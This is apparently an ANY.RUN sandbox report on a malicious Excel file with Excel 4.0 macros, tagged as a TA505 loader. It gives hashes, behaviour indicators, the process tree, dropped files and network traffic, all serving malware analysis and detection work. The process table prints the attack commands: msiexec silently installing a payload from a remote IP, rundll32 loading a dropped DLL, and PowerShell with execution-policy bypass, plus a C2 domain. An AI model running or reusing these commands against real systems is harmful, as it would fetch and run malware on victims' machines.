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File name:

D2398-0321.xls

Full analysis: https://app.any.run/tasks/9132bce3-cc9f-432a-9218-b198150ae364
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 14:56:30
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
exe-to-msi
loader
ta505
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Thu Mar 21 06:42:52 2019, Security: 0
MD5:

003277DA9690A749396DF9E3F51DF540

SHA1:

CCD62C42C80689A5B3DA7840F8770FFFBFDBC8C0

SHA256:

8E220396AB56096569DB278068738B65354521F4A5FB5073B626897FC0A54AC0

SSDEEP:

3072:LKpb8rGYrMPelwhKmFV5xtezEsgrdgWeEASNPzAKgncusE3v:LKpb8rGYrMPelwhKmFV5xtuEsgrdgWX2

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 1484)

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 1484)

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 3928)

    • Executes PowerShell scripts

      • cmd.exe (PID: 3600)

    • Application was dropped or rewritten from another process

      • ns963F.tmp (PID: 1096)

    • Downloads executable files from IP

      • msiexec.exe (PID: 3252)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3252)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3252)
      • MSI9545.tmp (PID: 1464)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3252)

    • Starts application with an unusual extension

      • MSI9545.tmp (PID: 1464)

    • Starts CMD.EXE for commands execution

      • ns963F.tmp (PID: 1096)
      • rundll32.exe (PID: 3928)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 3188)

    • Creates files in the user directory

      • powershell.exe (PID: 1568)

    • Uses WHOAMI.EXE to obtaining logged on user information

      • cmd.exe (PID: 3008)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 1484)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3252)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3252)

    • Loads dropped or rewritten executable

      • MSI9545.tmp (PID: 1464)

    • Application was dropped or rewritten from another process

      • MSI9545.tmp (PID: 1464)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author: Microsoft Office
LastModifiedBy: 1
Software: Microsoft Excel
CreateDate: 2018:12:19 10:42:12
ModifyDate: 2019:03:21 06:42:52
Security: None
CodePage: Windows Cyrillic
Company: Microsoft Corporation
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • 1
  • 2
HeadingPairs:
  • Листы
  • 1
  • Макросы Excel 4.0
  • 1
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
11
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi9545.tmp ns963f.tmp no specs cmd.exe no specs rundll32.exe cmd.exe no specs powershell.exe no specs cmd.exe no specs whoami.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1484"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
1624msiexec.exe RETURN=185 /i http://169.239.128.104/alg /q ksw='%TEMP%' C:\Windows\system32\msiexec.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3252C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
1464"C:\Windows\Installer\MSI9545.tmp"C:\Windows\Installer\MSI9545.tmp
msiexec.exe
User:
admin
Company:
hepsu burda
Integrity Level:
MEDIUM
Description:
hepsu burda Application
Version:
1.0.2.1
1096"C:\Users\admin\AppData\Local\Temp\nsw963E.tmp\ns963F.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nsw963E.tmp\ns963F.tmp—MSI9545.tmp
User:
admin
Integrity Level:
MEDIUM
3188"cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\cmd.exe—ns963F.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3928rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3600cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1C:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1568powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3008cmd.exe /C whoamiC:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 050
Read events
945
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
4
Text files
10
Unknown types
4

Dropped files

PID
Process
Filename
Type
1484EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR8043.tmp.cvr —
MD5:—
SHA256:—
3252msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF7090DB74AD475388.TMP —
MD5:—
SHA256:—
1568powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5IY9GIWNDBBNH2SEZ9D1.temp —
MD5:—
SHA256:—
1464MSI9545.tmpC:\Users\admin\AppData\Local\Temp\nsw963E.tmp\ns963F.tmpexecutable
MD5:E2347A65B30CCC5B2C4230DAAEEFB897
SHA256:79FD3041AB85E378839D2E3CF155FC91A2D541304D209F5D1D57AC7D791190EC
3252msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\desktop.iniini
MD5:BA96961F5E22882527919E19DAEA510F
SHA256:DACE5AD59099429D8AED4EE279F1263EFB65D64456931398465A396CF0E79BD7
3252msiexec.exeC:\Windows\Installer\MSI9179.tmpexecutable
MD5:D4C11BDA021113CA4604D80896B2A492
SHA256:AE2B1B1F7265386EDBBF2617084F277CDB9BC5AC34BD9AAC00CBC77A6BDCD829
3252msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:A0963C5E30D427822F248AFE7E432B30
SHA256:6C6E5801BEC03AC9DA8F31AB4C679E4826CD6D8AFBA3ACB3CBC94F999B841536
3252msiexec.exeC:\Windows\Installer\MSI9477.tmpbinary
MD5:2312906CF6BB880D3894648CFFD07D88
SHA256:12899E3E9A297BAB4F2416DFD9C808860D409BEDC72AA68099785737338537E5
1464MSI9545.tmpC:\Users\admin\AppData\Local\Temp\xmlparse.dllexecutable
MD5:6675C63A2534FD65B3B2DA751F2B393F
SHA256:BEE3B2710F7E874CE05E6B8B45CC20E021B9C00EE337238598E71E7315128333
3252msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\V0J1UC0J\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3252
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
3928
rundll32.exe
POST
200
179.43.156.37:80
http://cdnavupdate.icu/jquery/jquery.php
CH
text
12 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3252
msiexec.exe
169.239.128.104:80
—
Zappie Host LLC
ZA
suspicious
3928
rundll32.exe
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious
—
—
216.58.210.14:80
—
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
cdnavupdate.icu
  • 179.43.156.37
malicious

Threats

PID
Process
Class
Message
3252
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3252
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
3928
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
D2398-0321.xls